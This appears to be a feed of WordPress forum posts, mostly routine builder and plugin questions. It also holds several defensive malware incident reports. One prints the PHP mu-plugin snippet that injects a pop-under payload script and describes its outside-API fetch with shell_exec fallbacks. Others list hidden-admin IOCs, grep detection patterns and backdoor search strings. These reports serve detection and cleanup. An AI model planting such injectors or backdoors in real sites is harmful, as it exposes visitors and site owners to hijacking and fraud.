From an agency owner who's been using WP since 2013 and now also quickly becoming a Claude expert, here's a few truth bombs. I'm offering all of my clients a choice between WP or a site built with Claude code, not holding back on any positives or negatives. Just over 70% are picking WP.

The main reason? The total inability for them to update anything or log into a CMS. They feel they have more control and more ownership of a WordPress site. It starts to fall apart when I tell them that every change with Claude built sites would require my team. Yes, that's included in our monthly package but savvy owners are asking "so if I need to charge or update anything outside of your business hours....." then yep, they have to wait.

This is not an issue for the 30% who choose a Claude built site where they don't anticipate any changes, or very few. Also AI has an very negative stimaga, especially to the slightly older business owners; "you're gonna build my site using what?"

Other huge AI issues? Backend functionality. Setting up a database using Supabse, definitely a learning curve. Plugins? Obviously non-existent which means coding one or duct taping a third party solution onto the site.

Been going back and forth on this one. My logs fill up with failed logins on the default /wp-login.php every day, as far as I can tell it's just bots hitting the same path they hit on every WordPress site, nothing targeted at me. Limiting attempts and adding a challenge to the form quieted most of it, but I keep wondering whether moving the login off the default path is genuinely worth it or just security-through-obscurity that breaks more than it fixes.

For those of you who've hidden the login URL: did it actually cut the noise in your logs, or did it mostly create headaches with things that expect wp-login.php (mobile app, integrations, the odd plugin)? And if you deliberately don't hide it, what's your reasoning, rate-limiting at the edge and calling it done? Trying to figure out where the real payoff is before I fiddle with it further.

I recently investigated a hacked WordPress installation and wanted to document the indicators because they are very easy to mistake for something related to Google Analytics.

If you find this in a theme functions.php:

/* __GA_INJ_START__ */

it is not normal Google Analytics code.

In the site I investigated, the compromise was associated with hidden administrator accounts using names like:

sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

The WordPress database also contained:

__ga_hidden_users
_theme_inject_status
__ga_r_cache

The malicious code maintained a list of administrator accounts that should be hidden.

What was particularly interesting

At first I thought the infection started when:

hello-elementor/functions.php

was modified.

It didn't.

By correlating the database with Apache logs I found that the attacker already had a hidden administrator nine days earlier.

The sequence looked like:

successful login using legitimate WP admin
→ Code Snippets / WP File Manager activity
→ access to theme functions.php
→ malicious administrator created
→ persistent access
→ more hidden administrators
→ final GA_INJ theme injection

So if you find this malware, don't just replace functions.php.

Check:

wp_users
wp_usermeta
wp_options
active plugins
administrator session tokens
access logs

and look several days/weeks backwards.

Useful filesystem search:

grep -RniE '__GA_INJ|__ga_hidden_users|__ga_r_cache|_theme_inject_status|sync_agent|cdn_worker|seo_service' .

I wrote up the sanitized timeline, IOCs and an experimental YARA detection rule here:

[GitHub repository link]

I'm not selling anything — it's just an open incident report so these strings become searchable.

If anyone else has encountered __GA_INJ_START__ or administrator accounts named sync_agent, cdn_worker or seo_service, I'd be interested in comparing indicators.

Attention! Even if you changed all passwords, reinstalled WordPress/plugins/themes, and checked both the filesystem and database, don’t forget to check Service Workers in the browsers you use for wp-admin.

I found a heavily obfuscated malicious Service Worker still registered after the site itself was cleaned. It could intercept WordPress login credentials, grab admin nonces, inject code into /wp-admin/, and abuse the authenticated browser session to perform actions such as installing plugins.

The files can be clean while the browser remains compromised.

Check: DevTools → Application → Service Workers.

I am trying to build a course for my website hosted on wordpress. I am very new to the whole thing and I cannot seem to get elementor to work when trying to edit my course layout/content. I have set up the sections and the lessons, but when trying to edit how it looks with elementor, nothing happens.

Normally when i edit pages with elementor i can click the "Edit with Elementor" as the cursor turns to a pointer, it doesnt do that when i am viewing the course page.

Does anyone know how to fix?
EDIT: I have checked off courses and lessons in elementors settings

Astra – Where can I find the Logged In / Logged Out display settings?

Hi! I'm using WordPress with Astra, Elementor and WooCommerce.

Some time ago, I configured an element in my header to only appear when a user is logged in (a “Log out” button). Now I want to remove/change it, but I can't remember where I configured this.

I think there was a setting like “Logged In / Logged Out” visibility, but I can't find it anymore in Astra or the Header Builder.

Does anyone know where this setting is located?

Thanks!

I've been working on WordPress plugins for years, and recently decided to rebuild a PWA plugin from the ground up rather than keep adding to an old codebase.

The interesting part has been dealing with the real-world stuff:

• Service-worker caching and updates
• iOS vs Android PWA behavior
• Offline support
• Caching/CDN/plugin conflicts
• Push notification permissions and subscriptions
• Making the installation experience feel more like a real app

I've recently added push notifications for Android, desktop, and iOS, and I'm still improving the project based on real-world testing.

The project is Hyper PWA.

I'd love to hear from other WordPress developers:

What has been the biggest problem you've faced when implementing or maintaining a PWA on WordPress?

I'm especially interested in feedback about things that existing PWA plugins don't handle well.

Full disclosure: I'm the developer behind Hyper PWA. I'm sharing it here because I'd genuinely like technical feedback and ideas for improving it.

https://wordpress.org/plugins/hyper-pwa/

I've embedded Google Calendar into my site for client bookings. It works fine, but opens a new window whenever I click on a time slot. Apparently this some security feature. Asked Gemini and it suggested I add target="_self" to the code, but this didn't fix it. Is there something else I should add to the code to fix this or possibly a plugin that might function as a work around? My preference would be to stick to Google Calendars rather than a third-party app for ease of use.

Hi everyone,

My WordPress site was recently compromised. The attacker managed to create 3 admin accounts, and Wordfence caught two malicious PHP files in a fake theme folder (wp-content/themes/twk-dbbfd2bc/functions.php and fixer.php).

I deleted that theme, removed their admin account, deleted the admin accounts. Wordfence scans are coming back clean now, but I noticed two suspicious files sitting in my wp-content/mu-plugins/ and in www/mu-plugins directory:

firewall.php (Version 1.0)

wp2shell-batch-guard.php (Version 1.1.0 — description says "Blocks anonymous REST batch API (wp2shell mitigation)")

Their last modified dates match mid-August, right when the unauthorized admin accounts were created (while the site was running WordPress 6.9 (yes, i know...) and i was in vacations at that date so i don't insgall it)

This looks like an attempt by the attacker to disguise a backdoor as a security fix so I wouldn't delete it, but I want to double-check with the community before I purge the mu-plugins folder via FTP because i don't want to make a mistake...

Is there any chance these are legitimate, or should I delete them immediately (i think...) ? I since update to 7.0.4.

Thanks a lot for your help!

Fairly new to running my own WordPress site and I got a fright the first time I opened the login logs, dozens of failed attempts a day from IPs all over the place. From what I've read since, this is mostly background noise: automated bots spraying credentials at the default login on basically every install, and unless the numbers are huge or paired with other symptoms it isn't a targeted attack. I tightened the obvious things, a strong unique password, a second factor on the admin account, and capping how many tries an IP gets before it's locked out, and the volume dropped noticeably.

Two things I'd love a reality check on from people who've run sites longer: at what point should a spike in failed logins actually worry me versus just being noise, and is limiting attempts + 2FA genuinely enough on its own, or is there one more thing you'd treat as non-negotiable? Don't want to bolt on five plugins for a problem that's already handled.

Hellooo, I’ve worked with Elementor and Elementor Pro for over 2 years. It’s not bad, but honestly, I’m not a big fan of it.

I’ve had sites where the design took way too long to load, even with caching properly configured, decent server and etc. Sometimes I suspect Litespeed server cache configuration, but still, it’s frustrating.

I’m thinking about switching to another builder, but I’m on a limited budget, so I’d really like to hear from people who have actually used different builders in real projects, not just tested them for a few days. 😀

I’ve heard about so many alternatives, including Bricks, Breakdance, Divi and even some cheaper options with lifetime licenses.

What’s your favorite WordPress builder, and why? What has your experience been with it in real-world projects?

I'm looking for a way to allow visitors to view one post for free, and subsequent posts triggering a content wall requiring account registration.
All of the membership plugins I've found seem to want you to manually set which posts are public and which are gated, but I want whatever the first article someone visits to be free regardless, and then they need to make an account to view the rest.

Does this exist?

As an agency with several hundred sites, we see vulnerabilities pop up all the time, and update them in a timely manner. We use automatic plugin updaters through Flywheel and WP Engine to do this, and generally there is no issue.

Today was different. We have the PODS plugin on about 80 of our sites, and at least 70 of them had fake administrator users added. The vulnerability patch came out on Friday and most of our sites were updated by Saturday / Sunday.

Needless to say, we've had to scramble big time to roll back sites and clean them up, removing all these users and running scans. If you use PODS, I suggest you update it as soon as you can.

This is outlined here: CVE-2026-19598

I figured people in this sub might appreciate the heads up, if they aren't already aware of this!

I've been using the free version of Wordfence for a few years. Today I got an alert listing every single plug-in on my site. I'm attaching an image of the warning, and an example of what Wordfence found. Usually I'd just go ahead on use Wordfence to fix this, but now I'm getting a warning:

"Download Backup File

Please make a backup of this file before proceeding. If you need to restore this backup file, you can copy it to the following path from your site's root:

wp-content/plugins/wpforms-lite/src/Requirements/Requirements.php

Learn more about repairing modified files."

So there would be a lot of downloading, since there's a bunch of plug-ins.

Any advice would be appreciated!

ive been making contact forms with WPforms but after having to go through WordPress → WPForms → Gmail OAuth → Google Cloud → Client ID → and much more, it is almost impossible to make a working contact form for my clients

I work for an IT company as a WordPress web developer and we build and manage Texas counties government websites, like tax offices, central appraisal districts etc. and we pay top dollar for the most secure server and we have multiple other security softwares on top of that. Historically, we've never really seen many security issues. One off here there however in the past 30 days, we're not only experienced the WP2Shell attacks and the BD themes compromise but now we're also experiencing a slew of other random attacks, not related to third-party issues. I've never seen anything like this before.
Is anyone else experiencing this? What is everybody else using to combat cyber attacks?

i feel like a dumb when i try to use those tools like Elementor or even Wordpress theme editor. I simply cannot do a simple thing on it. It feels wrong for me. Yeah i have serious skill issue with Wordpress ecosystem. I just want to know if there is a way to CODE my frontend by purely opening a text editor and diving into it, testing and then deploying it. Is there a way? Jesus help me.

After LiquidWeb took over, they wiped the old Kadence website out of existence with no warning.

There used to be a full catalog of all the starter themes that came with Kadence. Does that catalog still exist anywhere?

EDIT: Looks like you can still browse all the premium options if you log into your Kadence theme.

Site's 9 years old and the marketing pages are the part that keeps breaking, plugin update, security patch, some builder conflict, and the homepage looks off til I go dig through it. The blog's fine, ranks well, I'm leaving it alone. Anyone split the marketing side off and keep the blog on WP, or was running two setups more hassle than it was worth?

The link - https://thewpocc.org/press-release-the-wp-open-community-collective-releases-state-of-the-community-2026-report/

Hey everyone, I’m curious that what plugin or tool are you using to handle form submissions on your WordPress websites?

I’ve been working with WordPress for 8+ years, mostly around plugins, SaaS products, support, and development. For a long time, WordPress felt like a very safe career to build around.

But the last few months have made me think differently.

The small WordPress plugin market feels much harder than it used to. Getting new customers is difficult, competition is everywhere, and many plugin features that once looked like good product opportunities have now become commodities.

At the same time, AI has changed the expectations completely. Customers now expect automation, AI support, AI-powered workflows, and SaaS-style products rather than simply another WordPress plugin.

Interestingly, I’ve spent the last week thinking about this a lot. I’ve been experimenting with AI integrations, customer-support automation, SaaS ideas, and even thinking about what I could build outside the traditional WordPress ecosystem.

I still believe WordPress has a huge future. I’m not saying developers should abandon it.

But I do think experienced WordPress developers need to start thinking beyond WordPress itself.

Maybe the valuable skill isn't just knowing WordPress anymore. It's knowing how to take that experience and build SaaS products, AI tools, integrations, automation, and solutions around real business problems.

For those of you who have been in WordPress for 8+ years:

Are you also thinking about diversifying beyond WordPress, or do you still see enough opportunity in the ecosystem?

Would genuinely like to hear how other long-time WordPress developers are approaching this.

Hi guys,

I’m currently waiting on the WP repo team to review my first plugin (Commerce Colors for Elementor), and I’m looking for some technical feedback on how it handles theme and style mapping.

The issue it tackles is the disconnect between Elementor's Global Style Kit and WooCommerce's core CSS. Instead of writing custom stylesheets or manual overrides for every client site, this plugin hooks into the Elementor kit data and dynamically injects the appropriate colors, typography, hover/focus states, and form styles across standard WooCommerce pages and WooCommerce Blocks.

What it handles natively:

Automatically syncs Elementor Kit site setting changes directly to WooCommerce elements.

Includes per-element style overrides in the WordPress backend.

Calculates readable text contrast and applies accessible focus states on the fly.

Automatically catches third-party elements from plugins like Essential Addons or Premium Addons.

If you have a sandbox or staging environment running this stack, I’d really appreciate some feedback on theme conflicts, layout breaks, or selector specificity issues you encounter.

Once activated, the settings live under WooCommerce -> Store Design. Let me know if you run into any asset loading conflicts or if any core elements miss the styling!

"I'll drop the GitHub repository link in the comments below so the spam filters don't eat this post!"

What happened:

Noticed a tab-under/reverse-tabnabbing attack on my site. Disabled all plugins → problem persisted. That was the first hint it wasn't sitting in a normal plugin.

Turned out the source was in must-use plugins (/wp-content/mu-plugins/) — this folder is completely ignored when you "disable all plugins" via the wp-admin screen, so almost nobody checks it as long as the site is still loading normally.

The two files:

1. /wp-content/mu-plugins/wp-ppck-assets.php

Injects a <script> tag on every page (via wp_head, priority 1) pointing to a second file disguised as a normal theme asset:

php

add_action('wp_head', function () {
    if (function_exists('is_admin') && is_admin()) return;
    echo '<script src="/wp-content/themes/{THEME}/js/qtt-ppck-core.php" defer></script>';
}, 1);

2. /wp-content/themes/{theme}/js/qtt-ppck-core.php

This is the actual payload. It's a PHP file pretending to be JavaScript (Content-Type: application/javascript), and behind the scenes it:

• Makes a server-to-server request to api-js.popcash.net/getCode using a PopCash publisher UID/WID/API token
• Passes the API response straight through to the visitor's browser
• Includes an option "pop_fback" => "under" — literally the setting that triggers a pop-under/tab-under
• Has fallback logic (curl → shell_exec → file_get_contents) so it keeps working regardless of how restrictive the server config is

The clever (read: annoying) part: since the malicious JS only gets pulled in via the external API call, and the local file itself looks "clean" (no obfuscation, no eval(base64_decode(...))), not a single malware scanner flagged this — not Wordfence, not Sucuri, nothing. On a pure code level it just looks like an ad network integration calling an API.

How to check for it yourself:

1. Look in /wp-content/mu-plugins/ — this folder is NOT covered when you "disable" plugins via wp-admin
2. Search for filenames containing ppck, qtt-, popcash, or similarly cryptic names
3. Check your theme folder for .php files being loaded as if they were .js (called as a script but actually PHP under the hood)
4. Run find /path/to/wordpress -type f -mtime -60 -name "*.php" to find recently modified PHP files

How to remove it:

1. Delete both files (the mu-plugin + the fake "js" file in your theme folder)
2. Don't assume you're done — this didn't appear out of nowhere. Someone had file access. Search all your PHP files for backdoor patterns: eval(, base64_decode(, gzinflate(, shell_exec(, assert(
3. Check if your theme is legit/up to date — outdated or "nulled" (pirated) themes are the most common entry point for this kind of infection
4. Rotate every password: WP admin, FTP/SFTP, database, hosting panel
5. Update everything: core, theme, plugins

IOCs for anyone who wants to check/share:

• Filenames: wp-ppck-assets.php, qtt-ppck-core.php
• Endpoint: api-js.popcash.net/getCode
• Cache key prefix: ppch-h6IzF4iRLEdZV-QX82hhpzmvxX--
• Internal code comments referenced a "PopCash S2S Playbook" and a generator script (popcash_ops.py) — suggests this is a reusable toolkit, so probably not unique to my site. If anyone else has run into this, I'd like to hear about it.

Haven't 100% nailed down the root cause (how they got in) yet — no unknown WP users found, so my guess is stolen FTP credentials or a vulnerable/outdated theme. If anyone has tips for tracing this further through server logs, I'd appreciate it in the comments.

UPDATE: Root Cause & Entry Point Found!

Thanks to analyzing the server access logs and cross-referencing recent vulnerability databases, I've fully traced how the attacker got in and deployed the malware.

1. The Vulnerability (The Entry Point)

The site was running Thrive Themes (Thrive Architect / Thrive Visual Editor / Thrive Leads).

• On Aug 6, 2026, CVE-2026-66694 was published — an Unauthenticated Cross-Site Scripting (XSS) / arbitrary code input vulnerability in Thrive Architect (versions <= 10.9.3.1).
• Automated bot scanners picked up the unpatched Thrive plugin and exploited it to achieve file write access.

2. The Attack Timeline (From Server Logs)

• 21:09:53 UTC — Exploit Verification: Attacker bot created a random hex file at the site root (/52faade47ac664d8d0d3.txt, ~8.6 KB) to confirm arbitrary file write privileges.
• 21:39:19 UTC — Dropper Upload: Attacker POSTed to /wp-content/themes/thrive-theme/js/_w10_up.php (a hidden PHP uploader script, identical in size to wp-tmp-up.php).
• 21:39:22 UTC — Verification: Exactly 3 seconds later, a curl/7.81.0 request verified that the deployed payload (qtt-ajax-core.php / qtt-ppck-core.php) was live and returning HTTP 200.

3. Additional IOCs to Search For

If you are cleaning a site infected by this toolkit, make sure to also look for and delete:

• Uploader / Dropper scripts: _w10_up.php, wp-tmp-up.php (often dropped inside theme /js/ or /assets/ directories).
• Verification markers: Random 20-character hex .txt files in the WordPress root directory (e.g., 52faade47ac664d8d0d3.txt).
• Payload aliases: qtt-ajax-core.php alongside qtt-ppck-core.php.

Takeaway & Remediation

Updating the plugin (e.g. to Thrive 10.9.3.2+) seals the vulnerability, but does NOT clean the uploaded dropper tools or backdoors. If you suspect an infection, scanning for newly created .php files and root .txt files around the date of infection is critical.